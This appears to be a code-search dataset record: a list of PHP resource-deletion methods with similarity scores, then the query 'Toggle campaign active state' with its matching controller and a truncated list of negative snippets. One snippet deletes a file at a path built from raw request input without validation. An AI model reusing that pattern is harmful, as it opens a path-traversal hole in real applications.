[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Toggle campaign active state.
public function toggleActive(Campaign $campaign) { $campaign->toggleActive(); return back(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "static function active($id) {\n $result = false;\n if (self::exists($id)) {\n $result = EmailmarketingCampaign::find($id)->fill(['active'=>1]);\n $result->update();\n }\n return $result;\n }", "public function setActive() {}", "public function client_active_toggle($id){\r\n $client = $this->get_clients($id);\r\n\r\n if($client['is_active'] == 1){\r\n $sql = \"UPDATE clients SET is_active = 0 WHERE id = '$id'\";\r\n return $this->db->query($sql);\r\n }else{\r\n $sql = \"UPDATE clients SET is_active = 1 WHERE id = '$id'\";\r\n return $this->db->query($sql);\r\n }\r\n }", "public function setActive()\r\n {\r\n $this->active = true;\r\n }", "public function setActive()\n {\n $this->update(['status' => static::STATUS_ACTIVE]);\n }", "public function setActive()\n\t\t{\n\t\t\t$this->_state = 1;\n\t\t}", "public function setActive($active = true)\n {\n $this->active = $active;\n }", "public function setActive()\n {\n $this->status = AutoEvent::STATUS_ACTIVE;\n $this->save();\n }", "public function isActive($idcustomer = NULL, $idcampaign = NULL)\n\t{\n\t\t$campaign = $this->get($idcustomer, $idcampaign);\n\n\t\tif ( ! $campaign)\n\t\t{\n\t\t\tthrow new \\Exception(\"campaign (idcustomer: $idcustomer, idcampaign: $idcampaign) does not exist\");\n\t\t}\n\n\t\tif ($campaign->isactive)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public function setActive($value);", "public function SetActive ($active = TRUE);", "static function inactive($id) {\n $result = false;\n if (self::exists($id)) {\n $result = EmailmarketingCampaign::find($id)->fill(['active'=>0]);\n $result->update();\n }\n return $result;\n }", "public final function active()\n {\n }", "public final function active()\n {\n }", "public final function active()\n {\n }", "public function isCampaign(): bool\n {\n return $this->isCampaign;\n }", "public function setActive($value) {\n\t\t$this->_active = $value;\n\t}", "public function toggleActive($id) {\n $webhooks_storage = $this->entityTypeManager->getStorage('webhook_config');\n /** @var \\Drupal\\webhooks\\Entity\\WebhookConfig $webhook_config */\n $webhook_config = $webhooks_storage->load($id);\n $webhook_config->setStatus(!$webhook_config->status());\n $webhook_config->save();\n return $this->redirect(\"entity.webhook_config.collection\");\n }", "public function setActive($active)\n {\n $this->active = $active;\n }", "public function setActive($active)\n {\n $this->active = $active;\n }", "public function switchCampaign()\n {\n $crmInfo = $this->configuration->getCrm();\n if (\n CrmPayload::get('meta.isSplitOrder') === true ||\n Request::attributes()->get('action') === 'prospect' ||\n !$this->configuration->getProcessFraudDeclines() ||\n $crmInfo['crm_type'] != 'limelight' ||\n Session::has(sprintf('TransactionSelect.step_%d', $this->currentStepId))\n ) {\n\n return;\n }\n\n $response = CrmResponse::all();\n\n if (\n empty($response['errors']['crmError'])\n ) {\n return;\n }\n\n if (\n preg_match(\"/Prepaid.+Not Accepted/i\", $response['errors']['crmError']) &&\n !empty($response['errors']['crmError'])\n ) {\n return;\n }\n\n Session::set(sprintf('TransactionSelect.step_%d', $this->currentStepId), true);\n\n if (empty($response['declineOrderId'])) {\n return;\n }\n\n $orderViewData = $this->orderView($response['declineOrderId']);\n\n if (\n !preg_match(\"/Failed Screening/i\", $orderViewData['decline_reason'])\n ) {\n return;\n }\n \n $cbCampaign = $this->configuration->getFraudDeclineCampaign();\n $cInfo = Campaign::find($cbCampaign);\n CrmPayload::set(\n 'campaignId', $cInfo['campaignId']\n );\n \n $crmType = $crmInfo['crm_type'];\n $crmClass = sprintf(\n '\\Application\\Model\\%s', $crmType\n );\n\n $crmInstance = new $crmClass($this->configuration->getCrmId());\n call_user_func_array(array($crmInstance, CrmPayload::get('meta.crmMethod')), array());\n\n $reorderResponse = CrmResponse::all();\n\n if ($reorderResponse['success'] && !$this->enablePixelFire) {\n Session::set('steps.meta.skipPixelFire', true);\n }\n\n }", "function toggle_active_country($id_country)\n{\n\t$this->db->where('id',$id_country );\n $query = $this->db->get('countries');\n $row = $query->row();\n $active = $row->active;\nif ($active)\n{\n $data = array('active' => 0); \n}\nelse \n{\n $data = array('active' => 1); \n}\n \n\t$this->db->where('id',$id_country );\n\t$this->db->update('countries', $data); \n\n}", "public function setIsActive( bool $isActive ): void;", "public function setInactive()\r\n {\r\n $this->active = false;\r\n }", "public static function getActiveBannerCampaigns()\n {\n return self::resultSetToObjArray(\n self::$db->fetchColumn(\n 'SELECT banner_campaign_id FROM website.banner_campaign\n WHERE effective_from < now()\n AND (effective_to IS NULL\n OR effective_to > now())'\n )\n );\n }", "public function setIsActive($isActive);", "public function activatePending()\n {\n $mydate = date('Y-m-d H:i:s',strtotime(\"-36 hours\"));\n $sql = \"SELECT `bids`.* \n FROM `bids`\n JOIN `campaigns`\n ON `bids`.`campaign_id` = `campaigns`.`id`\n WHERE `campaigns`.`status` = ? \n AND `bids`.`status` = ?\n AND `bids`.`created_at` < ?;\";\n $result = DB::select($sql, array(1, 5, $mydate));\n if(sizeof($result)){\n Log::info(sizeof($result).' Pending Bids to Activate');\n foreach($result as $row){\n $sql = 'UPDATE `bids` SET `status` = ? WHERE `id` = ?';\n DB::update($sql, array(1, $row->id));\n //$info = 'Campaign '.$row->campaign_id.' Activated on Zone '.$row->zone_handle;\n //Log::info($info); \n }\n }else{\n Log::info('No Pending Bids to Activate.');\n }\n }", "function setActive($a_active)\n\t{\n\t\t$this->active = $a_active;\n\t}", "public function toggleActive($id, $active = null)\n {\n if ( is_null($active) )\n if ( $item = $this->getItem($id) )\n {\n $cur_state = isset($item['active']) ? (bool) $item['active'] : false;\n $active = ! $cur_state;\n }\n else\n $this->debug && trigger_error(sprintf('Item with id \"%s\" is not found.', $id));\n\n $this->db->update(array('id'=>$id), array('active'=> (bool) $active) );\n }", "public function toggleActivate(Request $request)\n {\n// $element = new $className();\n// $element = $element->withoutGlobalScopes()->whereId($request->id)->first();\n $element = Currency::whereId($request->id)->first();\n $element->update([\n 'active' => !$element->active\n ]);\n return redirect()->back()->with('success', 'Process Success');\n }", "public function isCampaign(): bool\n {\n return $this->source_type === Campaign::class;\n }", "function setActive() ;", "public function changeActiveStatus($appName, $active);", "public static function setCacheActive($active = true)\n {\n static::$cacheActive = (bool)$active;\n }", "function updateCampaign() {\n\t\t$sql = \"Update campaign set finished=1 where CampaignId=\" . $this -> id;\n\t\t$stmt = $this -> DB -> prepare($sql);\n\t\tif ($stmt -> execute()) {\n\t\t\t//send email to user with information that campaign has been finished\n\t\t\tinclude_once \"Email.php\";\n\t\t\tnew Email('success', '', $this -> id);\n\t\t} else {\n\t\t\tinclude_once \"Email.php\";\n\t\t\tnew Email('failed', 'to update campaign.', $this -> id);\n\t\t}\n\t}", "public function toggleActiveMenu($menuId = 0, $language = 1, $state = 0);", "public function activar() {\n if($this->getEstado() == 1)\n return false;\n else {\n $this->setEstado(1);\n return true;\n }\n }", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function isActive() {}", "public function setUsp_Active($ac){\n $this->active = (int)$ac;\n }", "public function isActive();", "public function isActive();", "public function isActive();", "public function isActive();", "public function activateCampaigns(array $ids, $save=true)\r\n\t{\r\n\t\t$active_campaigns = (array) $this->{'shop.active_campaigns'};\r\n\r\n\t\t$new = false;\r\n\t\tforeach ($ids as $id)\r\n\t\t{\r\n\t\t\tif (!in_array((string) $id, $active_campaigns))\r\n\t\t\t{\r\n\t\t\t\t$active_campaigns[] = $id;\r\n\t\t\t\t$new = true;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$this->{'shop.active_campaigns'} = $active_campaigns;\r\n\r\n\t\tif ($new && $save) {\r\n\t\t\treturn $this->save();\r\n\t\t}\r\n\r\n\t\treturn $this;\r\n\t}", "public function isActivatable()\n {\n return true ;\n }", "public function setIsActive($isActive)\n {\n }", "function toggle_active_site()\n{\n\t$this->db->where('id_table',0 );// there is just one row in table site with id \"0\"\n $query = $this->db->get('site');\n $row = $query->row();\n $active = $row->active;\nif ($active)\n{\n $data = array('active' => 0); \n}\nelse \n{\n $data = array('active' => 1); \n}\n \n\t$this->db->where('id_table',0 );\n\t$this->db->update('site', $data); \n}", "public function setActive($var)\n {\n GPBUtil::checkBool($var);\n $this->active = $var;\n\n return $this;\n }", "function active()\r\n {\r\n return true;\r\n }", "public function unsetActive()\n\t{\n\t\t$this->active = 0;\n\t\t\n\t\t$dbhandle = db_connect();\n\t\t\n\t\t$dbhandle = db_connect();\n\t\t$stmt = $dbhandle->stmt_init();\n\t\t\n\t\t$stmt->prepare(\"UPDATE Tasks SET Active=0 WHERE TaskID = ?\");\n\t\t$stmt->bind_param(\"i\", $this->taskid);\n\t\t$stmt->execute();\n\t\t\n\t\t$stmt->close();\n\t\t$dbhandle->close();\n\t}", "public function setActive(bool $active){\n // enables \"active\" change for this model\n $this->allowActiveChange = true;\n $this->active = $active;\n }", "public function setActive($active)\n {\n $this->active = !!$active;\n\n return $this;\n }", "function isActive() ;", "public function IsActive()\n {\n return true;\n }", "function acf_update_field_group_active_status( $id, $activate = true ) {\n\treturn acf_update_internal_post_type_active_status( $id, $activate, 'acf-field-group' );\n}", "public function setIsActiveAttribute($value)\n {\n $this->attributes[$this->getDeactivatedAtColumn()] = ! empty($value) && (bool) $value\n ? null\n : Carbon::now();\n }", "public function setActive($value) {\n if ($value != $this->_active) {\n if ($value)\n $this->open();\n else\n $this->close();\n }\n }", "public function changeCampaignStatus(AdWordsUser $user, $campaignId, $status) {\n $campaignService = $user->GetService('CampaignService', ADWORDS_VERSION);\n \n $campaign = new Campaign();\n $campaign->id = $campaignId;\n $campaign->status = $status;\n \n $operations = array();\n // Create operation.\n $operation = new CampaignOperation();\n $operation->operand = $campaign;\n $operation->operator = 'SET';\n $operations[] = $operation;\n \n $result = $campaignService->mutate($operations);\n\t\t$dbHelper = new DbHelper;\n\t\t$change_campaign = $dbHelper->activateCampaign($campaignId);\n return $result;\n }", "private function inActiveCurrentStage()\n {\n $activeStage = $this->getJobAwardedStage();\n\n if ($activeStage) {\n $activeStage->active = 0;\n $activeStage->save();\n }\n }", "public function togglePreceptorAction()\n {\n $preceptor = \\Fisdap\\EntityUtils::getEntity(\"PreceptorLegacy\", $this->_getParam(\"preceptor\"));\n $site = \\Fisdap\\EntityUtils::getEntity(\"SiteLegacy\", $this->_getParam(\"site\"));\n $return = false;\n \n if ($preceptor) {\n $assoc = $preceptor->getAssociationByProgram($this->view->program->id);\n $assoc->active = (!$assoc->active);\n $assoc->save();\n $return = true;\n }\n \n $this->_helper->json($return);\n }", "private function maintenance_mode($active) {\n\t\t// This allows add-ons to do something different if they prefer\n\t\tif (apply_filters('updraft_restore_maintenance_mode', true, $active, $this, $this->wp_upgrader)) {\n\t\t\t$this->wp_upgrader->maintenance_mode($active);\n\t\t}\n\t}", "public function activate() {\n\t\t/**\n\t\t * Fires when the plugin is being activated.\n\t\t *\n\t\t * @since 7.0\n\t\t */\n\t\tdo_action('audition_activate');\n\t}", "public static function updateBannerActiveStatus( $id )\n\t {\n\t \t$sql = 'UPDATE adbanner SET adb_status = 0 WHERE adb_id = ' .(int)$id;\n\t\t$res = Query::Execute($sql);\n\t\treturn $res;\n\t\t\n\t }", "public function isActive()\n {\n }", "public function is_active();", "public function makeActiveByEmail($email)\r\n {\r\n return $this->updateByEmail($email, 'active', '1');\r\n }", "public function toggleEnabled()\n {\n $this->bean->enabled = ! $this->bean->enabled;\n R::store($this->bean);\n }", "private static function single_activate() {\n\t\t// @TODO: Define activation functionality here\n\t}", "private static function single_activate() {\n\t\t// @TODO: Define activation functionality here\n\t}", "public function activate_user() {\n global $database;\n $sql = \"UPDATE user SET is_active = 1 WHERE id = \";\n $sql .= $database->escape_value($this->id);\n $database->query($sql);\n }", "public function isActive()\n {\n return ($this->slug == \"actief\");\n }", "function wa_wcc_activation($networkwide) {\n\n\t\tif(is_multisite() && $networkwide) {\n\t\t\tglobal $wpdb;\n\n\t\t\t$activated_blogs = array();\n\t\t\t$current_blog_id = $wpdb->blogid;\n\t\t\t$blogs_ids = $wpdb->get_col($wpdb->prepare('SELECT blog_id FROM '.$wpdb->blogs, ''));\n\n\t\t\tforeach($blogs_ids as $blog_id)\n\t\t\t{\n\t\t\t\tswitch_to_blog($blog_id);\n\t\t\t\t$this->activate_single();\n\t\t\t\t$activated_blogs[] = (int)$blog_id;\n\t\t\t}\n\n\t\t\tswitch_to_blog($current_blog_id);\n\t\t\tupdate_site_option('wa_wcc_activated_blogs', $activated_blogs, array());\n\t\t}\n\t\telse\n\t\t\t$this->activate_single();\n\t}", "public function activate(): bool\n {\n $this->{$this->getDeactivatedAtColumn()} = null;\n return $this->save();\n }", "public function setCampaign($config);", "function ms_team_activate() { \n\n ms_setup_team();\n flush_rewrite_rules();\n\n }", "public function setActive($id)\n {\n }", "public function setActive($id)\n {\n }", "public function setActive($active = true)\n {\n $this['active'] = (bool) $active;\n return $this;\n }", "public function activate()\r\n\t{\r\n\t\treturn $this->_changeStatus(1);\r\n\t}", "public function setActive($active){\n $this->active = $active;\n return $this;\n }", "public function markAsActive()\n {\n // Clean up end column and activate\n $this->active = true;\n $this->endsAt = null;\n\n return $this->save();\n }", "public function contactIsActive()\n {\n return true ;\n }", "public function toggleStatus()\n {\n $pageId = Tools::getValue('id_page');\n\n Db::getInstance()->update(\n $this->module->table_name,\n ['active' => !$this->module->getHTMLPageStatus($pageId)],\n 'id_page = ' . $pageId\n );\n }", "public function setActive($value)\n {\n return $this->set(self::_ACTIVE, $value);\n }", "public function set_active($active){\n if( $this->allowActiveChange ){\n // allowed to set/change -> reset \"allowed\" property\n $this->allowActiveChange = false;\n }else{\n // not allowed to set/change -> keep current status\n $active = $this->active;\n }\n return $active;\n }", "public function getCampaignId()\n {\n return $this->campaign_id;\n }", "public function isActive()\n {\n return (bool) ($this->_state == 'active');\n }", "public function setActive($v)\n {\n if ($v !== null) {\n if (is_string($v)) {\n $v = in_array(strtolower($v), array('false', 'off', '-', 'no', 'n', '0', '')) ? false : true;\n } else {\n $v = (boolean) $v;\n }\n }\n\n if ($this->active !== $v) {\n $this->active = $v;\n $this->modifiedColumns[] = EventPeer::ACTIVE;\n }\n\n\n return $this;\n }", "public function toggleisactive(Request $req, $id)\n\t\t{\n\t\t\t$org = Organization::find($id);\n\t\t\t$org->student()->wherePivot('isactive', true)->updateExistingPivot($req->student_id, ['outdate' => date('Y-m-d'),'isactive' => false]);\n\t\t\treturn back()->with('success', 'Anggota organisasi berhasil dinonaktifkan.');\n\t\t}", "public function isActive()\n {\n return $this->getAttributeFromArray('active');\n }", "public function deactivate(): void;", "public function setIsActive($v)\n {\n if ($v !== null) {\n if (is_string($v)) {\n $v = 